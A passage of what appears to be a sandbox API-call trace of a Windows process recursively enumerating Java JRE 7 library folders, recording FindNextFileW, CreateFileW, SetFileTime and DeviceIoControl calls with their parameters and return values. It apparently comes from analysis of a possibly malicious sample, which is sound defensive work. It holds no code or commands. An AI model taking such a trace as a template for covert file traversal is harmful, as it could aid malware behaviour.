dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.199] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.199] GetLastError () returned 0x12 [0088.199] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.199] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.199] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.199] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.199] GetLastError () returned 0x12 [0088.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.200] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f3d8) returned 1 [0088.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="")) returned 1 [0088.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x751d4820, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x751d4820, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75220ae0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x364427, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0088.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12543, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="")) returned 1 [0088.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1 [0088.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.200] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0088.202] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.202] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.202] NtClose (Handle=0x16c) returned 0x0 [0088.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f3d8 [0088.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.203] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.203] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.203] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0088.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcfe8 [0088.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f570 [0088.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.205] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0088.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd008 [0088.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f5f8 [0088.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.207] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf", cAlternateFileName="")) returned 1 [0088.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd028 [0088.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f680 [0088.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.208] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0088.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd048 [0088.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f708 [0088.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.210] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0088.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd068 [0088.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f790 [0088.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.212] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 0 [0088.212] GetLastError () returned 0x12 [0088.212] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0088.212] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.212] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.212] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0088.212] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0088.212] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf", cAlternateFileName="")) returned 1 [0088.212] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0088.212] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0088.212] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 0 [0088.212] GetLastError () returned 0x12 [0088.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.212] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f3d8) returned 1 [0088.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.213] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="")) returned 1 [0088.213] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="")) returned 1 [0088.213] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1 [0088.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.213] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.214] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.214] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.215] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.215] NtClose (Handle=0x164) returned 0x0 [0088.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f3d8 [0088.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.216] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0088.218] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.218] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x48cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0088.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd088 [0088.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f818 [0088.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs", cAlternateFileName="")) returned 1 [0088.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.properties", cAlternateFileName="")) returned 1 [0088.220] RtlAllocateHeap 